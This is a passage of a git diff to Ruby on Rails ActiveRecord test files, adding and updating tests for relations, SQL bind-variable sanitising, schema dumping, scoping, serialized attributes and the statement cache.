test_loading_with_one_association posts = Post.preload(:comments) post = posts.find { |p| p.id == 1 } @@ -868,6 +982,12 @@ class RelationTest < ActiveRecord::TestCase assert authors.exists?(authors(:david).id) end + def test_any_with_scope_on_hash_includes + post = authors(:david).posts.first + categories = Categorization.includes(author: :posts).where(posts: { id: post.id }) + assert categories.exists? + end + def test_last authors = Author.all assert_equal authors(:bob), authors.last @@ -886,6 +1006,12 @@ class RelationTest < ActiveRecord::TestCase assert davids.loaded? end + def test_destroy_all_with_conditions_is_deprecated + assert_deprecated do + assert_difference('Author.count', -1) { Author.destroy_all(name: 'David') } + end + end + def test_delete_all davids = Author.where(:name => 'David') @@ -893,6 +1019,12 @@ class RelationTest < ActiveRecord::TestCase assert ! davids.loaded? end + def test_delete_all_with_conditions_is_deprecated + assert_deprecated do + assert_difference('Author.count', -1) { Author.delete_all(name: 'David') } + end + end + def test_delete_all_loaded davids = Author.where(:name => 'David') @@ -908,7 +1040,7 @@ class RelationTest < ActiveRecord::TestCase def test_delete_all_with_unpermitted_relation_raises_error assert_raises(ActiveRecord::ActiveRecordError) { Author.limit(10).delete_all } - assert_raises(ActiveRecord::ActiveRecordError) { Author.uniq.delete_all } + assert_raises(ActiveRecord::ActiveRecordError) { Author.distinct.delete_all } assert_raises(ActiveRecord::ActiveRecordError) { Author.group(:name).delete_all } assert_raises(ActiveRecord::ActiveRecordError) { Author.having('SUM(id) < 3').delete_all } assert_raises(ActiveRecord::ActiveRecordError) { Author.offset(10).delete_all } @@ -954,6 +1086,11 @@ class RelationTest < ActiveRecord::TestCase assert_equal 9, posts.where(:comments_count => 0).count end + def test_count_with_block + posts = Post.all + assert_equal 10, posts.count { |p| p.comments_count.even? } + end + def test_count_on_association_relation author = Author.last another_author = Author.first @@ -1147,6 +1284,16 @@ class RelationTest < ActiveRecord::TestCase assert posts.loaded? end + def test_to_a_should_dup_target + posts = Post.all + + original_size = posts.size + removed = posts.to_a.pop + + assert_equal original_size, posts.size + assert_includes posts.to_a, removed + end + def test_build posts = Post.all @@ -1484,6 +1631,13 @@ class RelationTest < ActiveRecord::TestCase assert_equal 'David', topic2.reload.author_name end + def test_update_on_relation_passing_active_record_object_is_deprecated + topic = Topic.create!(title: 'Foo', author_name: nil) + assert_deprecated(/update/) do + Topic.where(id: topic.id).update(topic, title: 'Bar') + end + end + def test_distinct tag1 = Tag.create(:name => 'Foo') tag2 = Tag.create(:name => 'Foo') @@ -1493,14 +1647,17 @@ class RelationTest < ActiveRecord::TestCase assert_equal ['Foo', 'Foo'], query.map(&:name) assert_sql(/DISTINCT/) do assert_equal ['Foo'], query.distinct.map(&:name) - assert_equal ['Foo'], query.uniq.map(&:name) + assert_deprecated { assert_equal ['Foo'], query.uniq.map(&:name) } end assert_sql(/DISTINCT/) do assert_equal ['Foo'], query.distinct(true).map(&:name) - assert_equal ['Foo'], query.uniq(true).map(&:name) + assert_deprecated { assert_equal ['Foo'], query.uniq(true).map(&:name) } end assert_equal ['Foo', 'Foo'], query.distinct(true).distinct(false).map(&:name) - assert_equal ['Foo', 'Foo'], query.uniq(true).uniq(false).map(&:name) + + assert_deprecated do + assert_equal ['Foo', 'Foo'], query.uniq(true).uniq(false).map(&:name) + end end def test_doesnt_add_having_values_if_options_are_blank @@ -1657,6 +1814,10 @@ class RelationTest < ActiveRecord::TestCase assert_sql(/^((?!ORDER).)*$/) { Post.all.find_by(author_id: 2) } end + test "find_by requires at least one argument" do + assert_raises(ArgumentError) { Post.all.find_by } + end + test "find_by! with hash conditions returns the first matching record" do assert_equal posts(:eager_other), Post.order(:id).find_by!(author_id: 2) end @@ -1679,6 +1840,10 @@ class RelationTest < ActiveRecord::TestCase end end + test "find_by! requires at least one argument" do + assert_raises(ArgumentError) { Post.all.find_by! } + end + test "loaded relations cannot be mutated by multi value methods" do relation = Post.all relation.to_a @@ -1829,4 +1994,22 @@ class RelationTest < ActiveRecord::TestCase def test_relation_join_method assert_equal 'Thank you for the welcome,Thank you again for the welcome', Post.first.comments.join(",") end + + def test_connection_adapters_can_reorder_binds + posts = Post.limit(1).offset(2) + + stubbed_connection = Post.connection.dup + def stubbed_connection.combine_bind_parameters(**kwargs) + offset = kwargs[:offset] + kwargs[:offset] = kwargs[:limit] + kwargs[:limit] = offset + super(**kwargs) + end + + posts.define_singleton_method(:connection) do + stubbed_connection + end + + assert_equal 2, posts.to_a.length + end end diff --git a/activerecord/test/cases/reload_models_test.rb b/activerecord/test/cases/reload_models_test.rb index 0d16a3526f..431fbf1297 100644 --- a/activerecord/test/cases/reload_models_test.rb +++ b/activerecord/test/cases/reload_models_test.rb @@ -3,7 +3,7 @@ require 'models/owner' require 'models/pet' class ReloadModelsTest < ActiveRecord::TestCase - fixtures :pets + fixtures :pets, :owners def test_has_one_with_reload pet = Pet.find_by_name('parrot') diff --git a/activerecord/test/cases/sanitize_test.rb b/activerecord/test/cases/sanitize_test.rb index 262e0abc22..239f63d27b 100644 --- a/activerecord/test/cases/sanitize_test.rb +++ b/activerecord/test/cases/sanitize_test.rb @@ -9,11 +9,11 @@ class SanitizeTest < ActiveRecord::TestCase def test_sanitize_sql_array_handles_string_interpolation quoted_bambi = ActiveRecord::Base.connection.quote_string("Bambi") - assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=%s", "Bambi"]) - assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=%s", "Bambi".mb_chars]) + assert_equal "name='#{quoted_bambi}'", Binary.send(:sanitize_sql_array, ["name='%s'", "Bambi"]) + assert_equal "name='#{quoted_bambi}'", Binary.send(:sanitize_sql_array, ["name='%s'", "Bambi".mb_chars]) quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote_string("Bambi\nand\nThumper") - assert_equal "name=#{quoted_bambi_and_thumper}",Binary.send(:sanitize_sql_array, ["name=%s", "Bambi\nand\nThumper"]) - assert_equal "name=#{quoted_bambi_and_thumper}",Binary.send(:sanitize_sql_array, ["name=%s", "Bambi\nand\nThumper".mb_chars]) + assert_equal "name='#{quoted_bambi_and_thumper}'",Binary.send(:sanitize_sql_array, ["name='%s'", "Bambi\nand\nThumper"]) + assert_equal "name='#{quoted_bambi_and_thumper}'",Binary.send(:sanitize_sql_array, ["name='%s'", "Bambi\nand\nThumper".mb_chars]) end def test_sanitize_sql_array_handles_bind_variables @@ -25,6 +25,16 @@ class SanitizeTest < ActiveRecord::TestCase assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi\nand\nThumper".mb_chars]) end + def test_sanitize_sql_array_handles_named_bind_variables + quoted_bambi = ActiveRecord::Base.connection.quote("Bambi") + assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=:name", name: "Bambi"]) + assert_equal "name=#{quoted_bambi} AND id=1", Binary.send(:sanitize_sql_array, ["name=:name AND id=:id", name: "Bambi", id: 1]) + + quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote("Bambi\nand\nThumper") + assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=:name", name: "Bambi\nand\nThumper"]) + assert_equal "name=#{quoted_bambi_and_thumper} AND name2=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=:name AND name2=:name", name: "Bambi\nand\nThumper"]) + end + def test_sanitize_sql_array_handles_relations david = Author.create!(name: 'David') david_posts = david.posts.select(:id) @@ -69,4 +79,98 @@ class SanitizeTest < ActiveRecord::TestCase searchable_post.search("20% _reduction_!").to_a end end + + def test_bind_arity + assert_nothing_raised { bind '' } + assert_raise(ActiveRecord::PreparedStatementInvalid) { bind '', 1 } + + assert_raise(ActiveRecord::PreparedStatementInvalid) { bind '?' } + assert_nothing_raised { bind '?', 1 } + assert_raise(ActiveRecord::PreparedStatementInvalid) { bind '?', 1, 1 } + end + + def test_named_bind_variables + assert_equal '1', bind(':a', :a => 1) # ' ruby-mode + assert_equal '1 1', bind(':a :a', :a => 1) # ' ruby-mode + + assert_nothing_raised { bind("'+00:00'", :foo => "bar") } + end + + def test_named_bind_arity + assert_nothing_raised { bind "name = :name", { name: "37signals" } } + assert_nothing_raised { bind "name = :name", { name: "37signals", id: 1 } } + assert_raise(ActiveRecord::PreparedStatementInvalid) { bind "name = :name", { id: 1 } } + end + + class SimpleEnumerable + include Enumerable + + def initialize(ary) + @ary = ary + end + + def each(&b) + @ary.each(&b) + end + end + + def test_bind_enumerable + quoted_abc = %(#{ActiveRecord::Base.connection.quote('a')},#{ActiveRecord::Base.connection.quote('b')},#{ActiveRecord::Base.connection.quote('c')}) + + assert_equal '1,2,3', bind('?', [1, 2, 3]) + assert_equal quoted_abc, bind('?', %w(a b c)) + + assert_equal '1,2,3', bind(':a', :a => [1, 2, 3]) + assert_equal quoted_abc, bind(':a', :a => %w(a b c)) # ' + + assert_equal '1,2,3', bind('?', SimpleEnumerable.new([1, 2, 3])) + assert_equal quoted_abc, bind('?', SimpleEnumerable.new(%w(a b c))) + + assert_equal '1,2,3', bind(':a', :a => SimpleEnumerable.new([1, 2, 3])) + assert_equal quoted_abc, bind(':a', :a => SimpleEnumerable.new(%w(a b c))) # ' + end + + def test_bind_empty_enumerable + quoted_nil = ActiveRecord::Base.connection.quote(nil) + assert_equal quoted_nil, bind('?', []) + assert_equal " in (#{quoted_nil})", bind(' in (?)', []) + assert_equal "foo in (#{quoted_nil})", bind('foo in (?)', []) + end + + def test_bind_empty_string + quoted_empty = ActiveRecord::Base.connection.quote('') + assert_equal quoted_empty, bind('?', '') + end + + def test_bind_chars + quoted_bambi = ActiveRecord::Base.connection.quote("Bambi") + quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote("Bambi\nand\nThumper") + assert_equal "name=#{quoted_bambi}", bind('name=?', "Bambi") + assert_equal "name=#{quoted_bambi_and_thumper}", bind('name=?', "Bambi\nand\nThumper") + assert_equal "name=#{quoted_bambi}", bind('name=?', "Bambi".mb_chars) + assert_equal "name=#{quoted_bambi_and_thumper}", bind('name=?', "Bambi\nand\nThumper".mb_chars) + end + + def test_bind_record + o = Struct.new(:quoted_id).new(1) + assert_equal '1', bind('?', o) + + os = [o] * 3 + assert_equal '1,1,1', bind('?', os) + end + + def test_named_bind_with_postgresql_type_casts + l = Proc.new { bind(":a::integer '2009-01-01'::date", :a => '10') } + assert_nothing_raised(&l) + assert_equal "#{ActiveRecord::Base.connection.quote('10')}::integer '2009-01-01'::date", l.call + end + + private + def bind(statement, *vars) + if vars.first.is_a?(Hash) + ActiveRecord::Base.send(:replace_named_bind_variables, statement, vars.first) + else + ActiveRecord::Base.send(:replace_bind_variables, statement, vars) + end + end end diff --git a/activerecord/test/cases/schema_dumper_test.rb b/activerecord/test/cases/schema_dumper_test.rb index 6bf4df70eb..f1927f561e 100644 --- a/activerecord/test/cases/schema_dumper_test.rb +++ b/activerecord/test/cases/schema_dumper_test.rb @@ -29,6 +29,24 @@ class SchemaDumperTest < ActiveRecord::TestCase ActiveRecord::SchemaMigration.delete_all end + if current_adapter?(:SQLite3Adapter) + %w{3.7.8 3.7.11 3.7.12}.each do |version_string| + test "dumps schema version for sqlite version #{version_string}" do + version = ActiveRecord::ConnectionAdapters::SQLite3Adapter::Version.new(version_string) + ActiveRecord::Base.connection.stubs(:sqlite_version).returns(version) + + versions = %w{ 20100101010101 20100201010101 20100301010101 } + versions.reverse_each do |v| + ActiveRecord::SchemaMigration.create!(:version => v) + end + + schema_info = ActiveRecord::Base.connection.dump_schema_information + assert_match(/20100201010101.*20100301010101/m, schema_info) + ActiveRecord::SchemaMigration.delete_all + end + end + end + def test_magic_comment assert_match "# encoding: #{Encoding.default_external.name}", standard_dump end @@ -38,6 +56,7 @@ class SchemaDumperTest < ActiveRecord::TestCase assert_match %r{create_table "accounts"}, output assert_match %r{create_table "authors"}, output assert_no_match %r{create_table "schema_migrations"}, output + assert_no_match %r{create_table "ar_internal_metadata"}, output end def test_schema_dump_uses_force_cascade_on_create_table @@ -73,7 +92,7 @@ class SchemaDumperTest < ActiveRecord::TestCase next if column_set.empty? lengths = column_set.map do |column| - if match = column.match(/t\.(?:integer|decimal|float|datetime|timestamp|time|date|text|binary|string|boolean|xml|uuid|point)\s+"/) + if match = column.match(/\bt\.\w+\s+(?="\w+?")/) match[0].length end end.compact @@ -117,8 +136,8 @@ class SchemaDumperTest < ActiveRecord::TestCase assert_match %r{c_int_4.*}, output assert_no_match %r{c_int_4.*limit:}, output - elsif current_adapter?(:MysqlAdapter, :Mysql2Adapter) - assert_match %r{c_int_without_limit.*limit: 4}, output + elsif current_adapter?(:Mysql2Adapter) + assert_match %r{c_int_without_limit"$}, output assert_match %r{c_int_1.*limit: 1}, output assert_match %r{c_int_2.*limit: 2}, output @@ -146,10 +165,10 @@ class SchemaDumperTest < ActiveRecord::TestCase assert_match %r{c_int_7.*limit: 7}, output assert_match %r{c_int_8.*limit: 8}, output else - assert_match %r{c_int_5.*limit: 8}, output - assert_match %r{c_int_6.*limit: 8}, output - assert_match %r{c_int_7.*limit: 8}, output - assert_match %r{c_int_8.*limit: 8}, output + assert_match %r{t\.bigint\s+"c_int_5"$}, output + assert_match %r{t\.bigint\s+"c_int_6"$}, output + assert_match %r{t\.bigint\s+"c_int_7"$}, output + assert_match %r{t\.bigint\s+"c_int_8"$}, output end end @@ -158,6 +177,7 @@ class SchemaDumperTest < ActiveRecord::TestCase assert_no_match %r{create_table "accounts"}, output assert_match %r{create_table "authors"}, output assert_no_match %r{create_table "schema_migrations"}, output + assert_no_match %r{create_table "ar_internal_metadata"}, output end def test_schema_dump_with_regexp_ignored_table @@ -165,27 +185,28 @@ class SchemaDumperTest < ActiveRecord::TestCase assert_no_match %r{create_table "accounts"}, output assert_match %r{create_table "authors"}, output assert_no_match %r{create_table "schema_migrations"}, output + assert_no_match %r{create_table "ar_internal_metadata"}, output end def test_schema_dumps_index_columns_in_right_order - index_definition = standard_dump.split(/\n/).grep(/add_index.*companies/).first.strip - if current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter) - assert_equal 'add_index "companies", ["firm_id", "type", "rating"], name: "company_index", using: :btree', index_definition + index_definition = standard_dump.split(/\n/).grep(/t\.index.*company_index/).first.strip + if current_adapter?(:Mysql2Adapter, :PostgreSQLAdapter) + assert_equal 't.index ["firm_id", "type", "rating"], name: "company_index", using: :btree', index_definition else - assert_equal 'add_index "companies", ["firm_id", "type", "rating"], name: "company_index"', index_definition + assert_equal 't.index ["firm_id", "type", "rating"], name: "company_index"', index_definition end end def test_schema_dumps_partial_indices - index_definition = standard_dump.split(/\n/).grep(/add_index.*company_partial_index/).first.strip + index_definition = standard_dump.split(/\n/).grep(/t\.index.*company_partial_index/).first.strip if current_adapter?(:PostgreSQLAdapter) - assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index", where: "(rating > 10)", using: :btree', index_definition - elsif current_adapter?(:MysqlAdapter, :Mysql2Adapter) - assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index", using: :btree', index_definition + assert_equal 't.index ["firm_id", "type"], name: "company_partial_index", where: "(rating > 10)", using: :btree', index_definition + elsif current_adapter?(:Mysql2Adapter) + assert_equal 't.index ["firm_id", "type"], name: "company_partial_index", using: :btree', index_definition elsif current_adapter?(:SQLite3Adapter) && ActiveRecord::Base.connection.supports_partial_index? - assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index", where: "rating > 10"', index_definition + assert_equal 't.index ["firm_id", "type"], name: "company_partial_index", where: "rating > 10"', index_definition else - assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index"', index_definition + assert_equal 't.index ["firm_id", "type"], name: "company_partial_index"', index_definition end end @@ -201,7 +222,7 @@ class SchemaDumperTest < ActiveRecord::TestCase assert_match %r{t\.boolean\s+"has_fun",.+default: false}, output end - if current_adapter?(:MysqlAdapter, :Mysql2Adapter) + if current_adapter?(:Mysql2Adapter) def test_schema_dump_should_add_default_value_for_mysql_text_field output = standard_dump assert_match %r{t\.text\s+"body",\s+limit: 65535,\s+null: false$}, output @@ -215,7 +236,7 @@ class SchemaDumperTest < ActiveRecord::TestCase def test_schema_dump_includes_length_for_mysql_blob_and_text_fields output = standard_dump - assert_match %r{t\.binary\s+"tiny_blob",\s+limit: 255$}, output + assert_match %r{t\.blob\s+"tiny_blob",\s+limit: 255$}, output assert_match %r{t\.binary\s+"normal_blob",\s+limit: 65535$}, output assert_match %r{t\.binary\s+"medium_blob",\s+limit: 16777215$}, output assert_match %r{t\.binary\s+"long_blob",\s+limit: 4294967295$}, output @@ -232,20 +253,35 @@ class SchemaDumperTest < ActiveRecord::TestCase def test_schema_dumps_index_type output = standard_dump - assert_match %r{add_index "key_tests", \["awesome"\], name: "index_key_tests_on_awesome", type: :fulltext}, output - assert_match %r{add_index "key_tests", \["pizza"\], name: "index_key_tests_on_pizza", using: :btree}, output + assert_match %r{t\.index \["awesome"\], name: "index_key_tests_on_awesome", type: :fulltext}, output + assert_match %r{t\.index \["pizza"\], name: "index_key_tests_on_pizza", using: :btree}, output end end def test_schema_dump_includes_decimal_options output = dump_all_table_schema([/^[^n]/]) - assert_match %r{precision: 3,[[:space:]]+scale: 2,[[:space:]]+default: 2\.78}, output + assert_match %r{precision: 3,[[:space:]]+scale: 2,[[:space:]]+default: "2\.78"}, output end if current_adapter?(:PostgreSQLAdapter) def test_schema_dump_includes_bigint_default output = standard_dump - assert_match %r{t\.integer\s+"bigint_default",\s+limit: 8,\s+default: 0}, output + assert_match %r{t\.bigint\s+"bigint_default",\s+default: 0}, output + end + + def test_schema_dump_includes_limit_on_array_type + output = standard_dump + assert_match %r{t\.bigint\s+"big_int_data_points\",\s+array: true}, output + end + + def test_schema_dump_allows_array_of_decimal_defaults + output = standard_dump + assert_match %r{t\.decimal\s+"decimal_array_default",\s+default: \["1.23", "3.45"\],\s+array: true}, output + end + + def test_schema_dump_expression_indices + index_definition = standard_dump.split(/\n/).grep(/t\.index.*company_expression_index/).first.strip + assert_equal 't.index "lower((name)::text)", name: "company_expression_index", using: :btree', index_definition end if ActiveRecord::Base.connection.supports_extensions? @@ -302,7 +338,7 @@ class SchemaDumperTest < ActiveRecord::TestCase end end - class CreateDogMigration < ActiveRecord::Migration + class CreateDogMigration < ActiveRecord::Migration::Current def up create_table("dog_owners") do |t| end @@ -310,9 +346,9 @@ class SchemaDumperTest < ActiveRecord::TestCase create_table("dogs") do |t| t.column :name, :string t.column :owner_id, :integer + t.index [:name] + t.foreign_key :dog_owners, column: "owner_id" if supports_foreign_keys? end - add_index "dogs", [:name] - add_foreign_key :dogs, :dog_owners, column: "owner_id" if supports_foreign_keys? end def down drop_table("dogs") @@ -332,6 +368,7 @@ class SchemaDumperTest < ActiveRecord::TestCase assert_no_match %r{create_table "foo_.+_bar"}, output assert_no_match %r{add_index "foo_.+_bar"}, output assert_no_match %r{create_table "schema_migrations"}, output + assert_no_match %r{create_table "ar_internal_metadata"}, output if ActiveRecord::Base.connection.supports_foreign_keys? assert_no_match %r{add_foreign_key "foo_.+_bar"}, output @@ -343,6 +380,38 @@ class SchemaDumperTest < ActiveRecord::TestCase ActiveRecord::Base.table_name_suffix = ActiveRecord::Base.table_name_prefix = '' $stdout = original end + + def test_schema_dump_with_table_name_prefix_and_ignoring_tables + original, $stdout = $stdout, StringIO.new + + create_cat_migration = Class.new(ActiveRecord::Migration::Current) do + def change + create_table("cats") do |t| + end + create_table("omg_cats") do |t| + end + end + end + + original_table_name_prefix = ActiveRecord::Base.table_name_prefix + original_schema_dumper_ignore_tables = ActiveRecord::SchemaDumper.ignore_tables + ActiveRecord::Base.table_name_prefix = 'omg_' + ActiveRecord::SchemaDumper.ignore_tables = ["cats"] + migration = create_cat_migration.new + migration.migrate(:up) + + stream = StringIO.new + output = ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream).string + + assert_match %r{create_table "omg_cats"}, output + refute_match %r{create_table "cats"}, output + ensure + migration.migrate(:down) + ActiveRecord::Base.table_name_prefix = original_table_name_prefix + ActiveRecord::SchemaDumper.ignore_tables = original_schema_dumper_ignore_tables + + $stdout = original + end end class SchemaDumperDefaultsTest < ActiveRecord::TestCase diff --git a/activerecord/test/cases/schema_loading_test.rb b/activerecord/test/cases/schema_loading_test.rb new file mode 100644 index 0000000000..3d92a5e104 --- /dev/null +++ b/activerecord/test/cases/schema_loading_test.rb @@ -0,0 +1,52 @@ +require "cases/helper" + +module SchemaLoadCounter + extend ActiveSupport::Concern + + module ClassMethods + attr_accessor :load_schema_calls + + def load_schema! + self.load_schema_calls ||= 0 + self.load_schema_calls +=1 + super + end + end +end + +class SchemaLoadingTest < ActiveRecord::TestCase + def test_basic_model_is_loaded_once + klass = define_model + klass.new + assert_equal 1, klass.load_schema_calls + end + + def test_model_with_custom_lock_is_loaded_once + klass = define_model do |c| + c.table_name = :lock_without_defaults_cust + c.locking_column = :custom_lock_version + end + klass.new + assert_equal 1, klass.load_schema_calls + end + + def test_model_with_changed_custom_lock_is_loaded_twice + klass = define_model do |c| + c.table_name = :lock_without_defaults_cust + end + klass.new + klass.locking_column = :custom_lock_version + klass.new + assert_equal 2, klass.load_schema_calls + end + + private + + def define_model + Class.new(ActiveRecord::Base) do + include SchemaLoadCounter + self.table_name = :lock_without_defaults + yield self if block_given? + end + end +end diff --git a/activerecord/test/cases/scoping/default_scoping_test.rb b/activerecord/test/cases/scoping/default_scoping_test.rb index 4137b20c4a..dcd09b6973 100644 --- a/activerecord/test/cases/scoping/default_scoping_test.rb +++ b/activerecord/test/cases/scoping/default_scoping_test.rb @@ -3,6 +3,8 @@ require 'models/post' require 'models/comment' require 'models/developer' require 'models/computer' +require 'models/vehicle' +require 'models/cat' class DefaultScopingTest < ActiveRecord::TestCase fixtures :developers, :posts, :comments @@ -153,6 +155,18 @@ class DefaultScopingTest < ActiveRecord::TestCase assert_equal expected_7, received_7 end + def test_unscope_comparison_where_clauses + # unscoped for WHERE (`developers`.`id` <= 2) + expected = Developer.order('salary DESC').collect(&:name) + received = DeveloperOrderedBySalary.where(id: -Float::INFINITY..2).unscope(where: :id).collect { |dev| dev.name } + assert_equal expected, received + + # unscoped for WHERE (`developers`.`id` < 2) + expected = Developer.order('salary DESC').collect(&:name) + received = DeveloperOrderedBySalary.where(id: -Float::INFINITY...2).unscope(where: :id).collect { |dev| dev.name } + assert_equal expected, received + end + def test_unscope_multiple_where_clauses expected = Developer.order('salary DESC').collect(&:name) received = DeveloperOrderedBySalary.where(name: 'Jamis').where(id: 1).unscope(where: [:name, :id]).collect(&:name) @@ -361,6 +375,18 @@ class DefaultScopingTest < ActiveRecord::TestCase assert_equal 10, DeveloperCalledJamis.unscoped { DeveloperCalledJamis.poor }.length end + def test_default_scope_with_joins + assert_equal Comment.where(post_id: SpecialPostWithDefaultScope.pluck(:id)).count, + Comment.joins(:special_post_with_default_scope).count + assert_equal Comment.where(post_id: Post.pluck(:id)).count, + Comment.joins(:post).count + end + + def test_unscoped_with_joins_should_not_have_default_scope + assert_equal SpecialPostWithDefaultScope.unscoped { Comment.joins(:special_post_with_default_scope).to_a }, + Comment.joins(:post).to_a + end + def test_default_scope_select_ignored_by_aggregations assert_equal DeveloperWithSelect.all.to_a.count, DeveloperWithSelect.count end @@ -441,4 +467,34 @@ class DefaultScopingTest < ActiveRecord::TestCase assert_equal 1, scope.where_clause.ast.children.length assert_equal Developer.where(name: "David"), scope end + + def test_with_abstract_class_where_clause_should_not_be_duplicated + scope = Bus.all + assert_equal scope.where_clause.ast.children.length, 1 + end + + def test_sti_conditions_are_not_carried_in_default_scope + ConditionalStiPost.create! body: '' + SubConditionalStiPost.create! body: '' + SubConditionalStiPost.create! title: 'Hello world', body: '' + + assert_equal 2, ConditionalStiPost.count + assert_equal 2, ConditionalStiPost.all.to_a.size + assert_equal 3, ConditionalStiPost.unscope(where: :title).to_a.size + + assert_equal 1, SubConditionalStiPost.count + assert_equal 1, SubConditionalStiPost.all.to_a.size + assert_equal 2, SubConditionalStiPost.unscope(where: :title).to_a.size + end + + def test_with_abstract_class_scope_should_be_executed_in_correct_context + vegetarian_pattern, gender_pattern = if current_adapter?(:Mysql2Adapter) + [/`lions`.`is_vegetarian`/, /`lions`.`gender`/] + else + [/"lions"."is_vegetarian"/, /"lions"."gender"/] + end + + assert_match vegetarian_pattern, Lion.all.to_sql + assert_match gender_pattern, Lion.female.to_sql + end end diff --git a/activerecord/test/cases/scoping/named_scoping_test.rb b/activerecord/test/cases/scoping/named_scoping_test.rb index e4cc533517..0e277ed235 100644 --- a/activerecord/test/cases/scoping/named_scoping_test.rb +++ b/activerecord/test/cases/scoping/named_scoping_test.rb @@ -188,8 +188,9 @@ class NamedScopingTest < ActiveRecord::TestCase def test_any_should_call_proxy_found_if_using_a_block topics = Topic.base assert_queries(1) do - topics.expects(:empty?).never - topics.any? { true } + assert_not_called(topics, :empty?) do + topics.any? { true } + end end end @@ -217,8 +218,9 @@ class NamedScopingTest < ActiveRecord::TestCase def test_many_should_call_proxy_found_if_using_a_block topics = Topic.base assert_queries(1) do - topics.expects(:size).never - topics.many? { true } + assert_not_called(topics, :size) do + topics.many? { true } + end end end @@ -299,7 +301,7 @@ class NamedScopingTest < ActiveRecord::TestCase :relation, # private class method on AR::Base :new, # redefined class method on AR::Base :all, # a default scope - :public, # some imporant methods on Module and Class + :public, # some important methods on Module and Class :protected, :private, :name, @@ -438,6 +440,25 @@ class NamedScopingTest < ActiveRecord::TestCase end end + def test_scopes_with_reserved_names + class << Topic + def public_method; end + public :public_method + + def protected_method; end + protected :protected_method + + def private_method; end + private :private_method + end + + [:public_method, :protected_method, :private_method].each do |reserved_method| + assert Topic.respond_to?(reserved_method, true) + ActiveRecord::Base.logger.expects(:warn) + silence_warnings { Topic.scope(reserved_method, -> { }) } + end + end + def test_scopes_on_relations # Topic.replied approved_topics = Topic.all.approved.order('id DESC') @@ -523,4 +544,18 @@ class NamedScopingTest < ActiveRecord::TestCase assert_equal 1, SpecialComment.where(body: 'go crazy').created.count end + def test_model_class_should_respond_to_none + assert !Topic.none? + Topic.delete_all + assert Topic.none? + end + + def test_model_class_should_respond_to_one + assert !Topic.one? + Topic.delete_all + assert !Topic.one? + Topic.create! + assert Topic.one? + end + end diff --git a/activerecord/test/cases/scoping/relation_scoping_test.rb b/activerecord/test/cases/scoping/relation_scoping_test.rb index 4bfffbe9c6..c15d57460b 100644 --- a/activerecord/test/cases/scoping/relation_scoping_test.rb +++ b/activerecord/test/cases/scoping/relation_scoping_test.rb @@ -209,9 +209,23 @@ class RelationScopingTest < ActiveRecord::TestCase assert_not_equal [], Developer.all end - def test_current_scope_does_not_pollute_other_subclasses - Post.none.scoping do - assert StiPost.all.any? + def test_current_scope_does_not_pollute_sibling_subclasses + Comment.none.scoping do + assert_not SpecialComment.all.any? + assert_not VerySpecialComment.all.any? + assert_not SubSpecialComment.all.any? + end + + SpecialComment.none.scoping do + assert Comment.all.any? + assert VerySpecialComment.all.any? + assert_not SubSpecialComment.all.any? + end + + SubSpecialComment.none.scoping do + assert Comment.all.any? + assert VerySpecialComment.all.any? + assert SpecialComment.all.any? end end end diff --git a/activerecord/test/cases/serialization_test.rb b/activerecord/test/cases/serialization_test.rb index 35b13ea247..14b80f4df4 100644 --- a/activerecord/test/cases/serialization_test.rb +++ b/activerecord/test/cases/serialization_test.rb @@ -8,7 +8,7 @@ require 'models/post' class SerializationTest < ActiveRecord::TestCase fixtures :books - FORMATS = [ :xml, :json ] + FORMATS = [ :json ] def setup @contact_attributes = { diff --git a/activerecord/test/cases/serialized_attribute_test.rb b/activerecord/test/cases/serialized_attribute_test.rb index e29f7462c8..846be857d0 100644 --- a/activerecord/test/cases/serialized_attribute_test.rb +++ b/activerecord/test/cases/serialized_attribute_test.rb @@ -264,4 +264,68 @@ class SerializedAttributeTest < ActiveRecord::TestCase Topic.serialize(:content, Regexp) end end + + def test_newly_emptied_serialized_hash_is_changed + Topic.serialize(:content, Hash) + topic = Topic.create(content: { "things" => "stuff" }) + topic.content.delete("things") + topic.save! + topic.reload + + assert_equal({}, topic.content) + end + + def test_values_cast_from_nil_are_persisted_as_nil + # This is required to fulfil the following contract, which must be universally + # true in Active Record: + # + # model.attribute = value + # assert_equal model.attribute, model.tap(&:save).reload.attribute + Topic.serialize(:content, Hash) + topic = Topic.create!(content: {}) + topic2 = Topic.create!(content: nil) + + assert_equal [topic, topic2], Topic.where(content: nil) + end + + def test_nil_is_always_persisted_as_null + Topic.serialize(:content, Hash) + + topic = Topic.create!(content: { foo: "bar" }) + topic.update_attribute :content, nil + assert_equal [topic], Topic.where(content: nil) + end + + def test_mutation_detection_does_not_double_serialize + coder = Object.new + def coder.dump(value) + return if value.nil? + value + " encoded" + end + def coder.load(value) + return if value.nil? + value.gsub(" encoded", "") + end + type = Class.new(ActiveModel::Type::Value) do + include ActiveModel::Type::Helpers::Mutable + + def serialize(value) + return if value.nil? + value + " serialized" + end + + def deserialize(value) + return if value.nil? + value.gsub(" serialized", "") + end + end.new + model = Class.new(Topic) do + attribute :foo, type + serialize :foo, coder + end + + topic = model.create!(foo: "bar") + topic.foo + refute topic.changed? + end end diff --git a/activerecord/test/cases/statement_cache_test.rb b/activerecord/test/cases/statement_cache_test.rb index a704b861cb..104226010a 100644 --- a/activerecord/test/cases/statement_cache_test.rb +++ b/activerecord/test/cases/statement_cache_test.rb @@ -94,5 +94,17 @@ module ActiveRecord additional_books = cache.execute([], Book, Book.connection) assert first_books != additional_books end + + def test_unprepared_statements_dont_share_a_cache_with_prepared_statements + Book.create(name: "my book") + Book.create(name: "my other book") + + book = Book.find_by(name: "my book") + other_book = Book.connection.unprepared_statement do + Book.find_by(name: "my other book") + end + + 